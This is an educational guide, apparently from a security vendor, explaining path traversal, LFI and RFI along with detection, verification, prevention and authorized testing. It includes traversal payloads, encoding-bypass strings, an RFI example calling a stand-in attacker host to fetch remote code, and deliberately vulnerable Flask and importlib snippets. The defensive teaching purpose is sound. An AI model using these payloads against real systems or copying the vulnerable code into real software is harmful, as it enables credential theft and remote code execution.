What Is Path Traversal? Directory Traversal and LFI/RFI Explained
A complete technical guide to path traversal (directory traversal): how ../ sequences read files outside the intended directory, and how to detect, verify, and prevent LFI and RFI vulnerabilities.
Short answer
Path traversal (directory traversal) happens when an attacker can make your application read or execute a file outside the directory you intended. By injecting ../ sequences or absolute paths into file-related parameters, they navigate up the filesystem tree — into config files, credentials, source code, or anything else the application process can read.
The idea in one minute
Imagine a corporate mailroom with a sorting conveyor. Each package has a destination label — Floor 2 / Desk 7 / Inbox. The sorter reads the label and routes the package along the conveyor to that location. The system was designed so every label starts with one of the allowed floor numbers.
An attacker sends a package whose label reads Floor 2 / .. / .. / Server Room / Rack 4 / Credentials.xlsx. The sorter follows the .. just as literally as it follows Floor 2 — it moves up out of Floor 2, up again out of the mailroom, and then down into the server room. The conveyor doesn't know it left permitted territory, because .. is a valid navigation instruction everywhere.
That's path traversal. The "mailroom" is a function that resolves file paths from user input — an image viewer, a document downloader, a template renderer, a language include(). The "Server Room" is /etc/passwd, /var/www/.env, /proc/self/environ, or any other file on the system. The application's filesystem access controls are the only boundary between them. Path traversal is what happens when ../ is treated as just another path component instead of an escape.
How path traversal actually works
Any feature where server-side code constructs a file path — even partly — from user input is a candidate. Common examples:
- Document or image viewers that accept a filename parameter
- File download endpoints (
/download?file=report.pdf) - Template engines that resolve include paths from user data
- Language
include()orrequire()statements that embed user input - Log viewers, backup downloaders, export generators
- Configuration loaders that use user-supplied paths
The .. sequence (parent directory) and / (root directory) are meaningful on every filesystem. The server has no inherent way to know that ../../../etc/passwd is different in kind from reports/Q3-2026.pdf — both resolve to valid filesystem paths. Trust boundaries live in the application's path-construction logic, not in the path syntax itself. If the input isn't normalized and checked against a whitelist, the server will happily serve files it never meant to expose.
Two variants exist:
- LFI (Local File Inclusion): reading or including files already present on the server. The attacker's payload
../../../etc/passwdresolves to a local file. - RFI (Remote File Inclusion): including a file from an external URL. The payload
http://attacker.com/shell.txtcauses the server to fetch and execute remote code. RFI is rarer in modern PHP (which disabledallow_url_includeby default in 5.2+) but still possible in misconfigured environments and in any language where the include mechanism accepts URLs.
The request flow
Attacker ──crafted path────▶ Vulnerable Application ──reads file────▶ Arbitrary File on Disk
▲ │
└────────────────response (file contents)─┘
As a sequence:
sequenceDiagram
participant Attacker
participant App as Vulnerable Application
participant FS as Filesystem
Attacker->>App: Request with path traversal payload
App->>App: Constructs file path from user input
App->>FS: Reads file at resolved path
FS-->>App: File contents (or error)
App-->>Attacker: Response with file data (or timing/error difference)
The critical detail: the file is read using the application's own process permissions and working directory. The attacker never interacts with the filesystem directly — they just tell the application which path to resolve.
A minimal example
A document viewer that serves reports from a user-supplied filename:
GET /reports/view?file=Q3-2026.pdf HTTP/1.1
Host: corp.example.com
If the server does nothing but prepend a base directory and read whatever file contains:
GET /reports/view?file=../../etc/passwd HTTP/1.1
Host: corp.example.com
The path reports/../../etc/passwd normalizes to /etc/passwd, and the server dutifully reads and returns the password file.
A vulnerable Flask snippet illustrating the root cause:
import os
from flask import request, send_file
@app.route("/reports/view")
def view_report():
filename = request.args.get("file")
base_dir = "/var/www/reports"
filepath = os.path.join(base_dir, filename) # no normalization check
return send_file(filepath)
os.path.join("/var/www/reports", "../../etc/passwd") produces /var/www/reports/../../etc/passwd, which resolves to /etc/passwd. The server happily sends it.
An RFI variant in a PHP-style include:
# dangerous: exec-style include with user-controlled path
import importlib.util
def load_template(template_path):
# LFI: template_path = "../../../etc/passwd"
# RFI: template_path = "http://attacker.com/shell.py"
spec = importlib.util.spec_from_file_location("template", template_path)
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module) # arbitrary code execution
Why the vulnerability exists
Path traversal exists because "read a file from this directory" and "read a file from any directory the process can access" are treated as the same operation. The root causes, almost always, are one or more of:
- No normalization of user-supplied paths before use (feeding raw input to filesystem calls)
- Validation that checks for
../as a substring but can be bypassed with encoding (%2e%2e%2f,..%252f,....//) - Blocklists that enumerate known-bad patterns instead of allowlists that enumerate known-good directories
- Reliance on prefix checks without resolving the final path (
/safe/+../../etc/passwdstill escapes) - Filesystem operations that follow symlinks, allowing indirect traversal through a legitimate file that points outside the sandbox
- No chroot, container, or OS-level sandbox restricting which paths the process can read, so a single traversal bug exposes the entire filesystem
What attackers look for
- Any parameter that looks like it holds a filename, path, or directory:
file=,path=,page=,template=,doc=,view=,include=,load= - Features described as "view," "download," "export," "include," "load template," or "render document"
- Operating-system files that yield high-value information:
/etc/passwd(user enumeration),/proc/self/environ(environment variables, secrets),/.env(framework config, database credentials),/etc/nginx/nginx.conf(internal topology) - Application source code (
.py,.php,.rb,.js) — reading source is often the step before code-execution via other bugs - RFI targets: any parameter that feeds an include/import/require and is tested with URL schemes (
http://,https://,ftp://) to see if the library honors them - Encoding bypasses: URL-encoded
../(%2e%2e%2f), double-encoded (%252e%252e%252f), UTF-8 overlong sequences, and path-separator alternatives (..\\on Windows,..%c0%afon IIS)
Detection
- Static/code review: search for filesystem operations (
open(),read(),send_file(),importlib,include(),require(),os.path.join(),pathlib.Path()) that consume request parameters without normalization or allowlist checks in between. - Dynamic/DAST: supply path-traversal sequences in every path-shaped parameter and look for:
- File contents returned in the response (the most direct signal — the file appears in the page body)
- Error messages that leak the resolved path or a portion of it
- Behavioral differences (status code, response size, timing) between a known-readable file (
/etc/passwd) and a known-nonexistent one (/etc/nonexistent-nyx-test)
- Encoding fuzzing: test URL-encoded, double-encoded, and otherwise obfuscated
../variants to find validation that matches only the literal string.
Verification: real vulnerability or false positive?
A candidate is confirmed, not assumed, when you can show one of:
- The contents of a file that should not be readable by the intended feature — for example,
/etc/passwdcontents appearing in a response body that normally serves images or styled documents - A measurable behavioral difference between a traversal payload that hits an existing sensitive file and one that hits a nonexistent path, isolating the effect to the filesystem operation
- For RFI: the server fetched content from an external URL you control, confirmed by a request log or callback on your infrastructure
A parameter merely accepting a path-like string is not evidence of traversal — many applications properly normalize and restrict paths before accessing the filesystem. Confirm the file was actually read or included before calling it a finding.
Real-world impact
Path traversal is rarely the end goal — it's an information-gathering and access-escalation step. Consequences depend entirely on what the process can read:
- Credential theft: reading
.envfiles, database configuration, API keys, or cloud-service credentials from the filesystem, escalating a file-read bug into full account compromise across connected services - Source-code disclosure: reading application source reveals database schemas, internal API structures, encryption keys, and further vulnerabilities that a black-box attacker could never see
- Pivot to RCE via LFI: if an attacker can read arbitrary files and also control the contents of a writable location (upload directory, log files, temp directory), they can plant PHP/Python code and include it — a classic LFI-to-RCE chain using log poisoning, session file injection, or
/proc/self/environtechniques - Pivot to RCE via RFI: if the include mechanism supports URLs, the attacker hosts a payload on their own server and includes it directly — no filesystem write required
- Internal network reconnaissance: reading configuration files that contain internal hostnames, IP addresses, and service topology, enabling lateral attacks against other systems
Prevention
- Allowlist, don't blocklist: explicitly enumerate which directory (or directories) the feature is allowed to read from, and reject any path that resolves outside that set after normalization.
- Normalize then validate: always resolve the path to its canonical form (
os.path.realpath()orpathlib.Path.resolve()) before comparison. A../sequence stripped from the string is not enough — the resolved path is what matters. - Drop user input from path construction: where possible, use an identifier (database ID, UUID, index) to look up the actual file path server-side instead of accepting a filename from the user.
- Chroot, containerize, or sandbox: restrict the filesystem the process can see. A Django app running in a container with a read-only root filesystem and no host mounts for
/etccan't leak/etc/passwdeven if a traversal bug exists. - Disable remote URL support: if the application never needs to include remote files, configure the runtime (
allow_url_include = Offin PHP, or avoid importlib/exec in Python) to reject URL schemes at the language level. - Least-privilege filesystem access: run the web process as a user that can read only what it needs to serve. No credential files, no configuration directories, no SSH keys should be world-readable by the application user.
- Use a chroot jail or seccomp filter: for high-risk features (template rendering, document conversion), drop into a chroot or apply a seccomp policy that blocks
open()on paths outside a whitelist.
Related vulnerabilities
- Command injection — often reached through the same file-access functions when the path is not just read but passed to a shell command (e.g.,
ffmpeg,convert,pandoc) that interprets the filename itself - File upload vulnerabilities — a complementary class: path traversal reads files outside the allowed directory; file upload bugs write files outside the allowed directory, often planting a web shell that the traversal then executes
- XXE — XML external entities can read local files and return their contents in the XML response, functioning as a traversal vector through the XML parser instead of the filesystem API
- SSRF — if the path traversal feeds a URL-based include mechanism (RFI), it becomes a server-side request forgery; the two classes overlap when the "file" being included lives on a remote server
Testing methodology (do this safely)
- Only test targets you're authorized to test — your own applications, a lab environment, or a program that explicitly includes file-path testing in scope.
- Use non-sensitive files for confirmation: on Linux,
/etc/passwdis world-readable and contains no secrets (it's the user-ID map, not passwords — those are in shadow) and is a standard traversal test target. Never exfiltrate or store credential-bearing files from authorized testing. - For RFI, use a server you control to serve a benign payload and confirm the callback — don't point the target at third-party infrastructure.
- Test encoding bypasses systematically:
../,..\\,%2e%2e%2f,..%252f,....//, and Unicode overlong sequences. A single encoding variant that works means the protection is string-matching only. - Document the exact payload, the resolved path (if visible), and the file contents returned — this is what turns a suspicion into a verifiable finding.
Further reading
- PortSwigger Web Security Academy: File path traversal
- OWASP: Path Traversal
- MITRE: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- OWASP: Testing for Local File Inclusion
Nyxeara perspective
Automated detection of path traversal is more reliable than for many vulnerability classes because the evidence — a known file appearing in a response — is usually directly observable rather than inferred. The challenge is eliminating false positives from parameters that accept file-like strings but resolve them safely. A clean detection strategy normalizes the candidate path, tests both a known-readable world-readable file (/etc/passwd) and a known-nonexistent path, and requires a clear difference — content matching the expected file — before classifying it as a confirmed finding rather than a suspected one.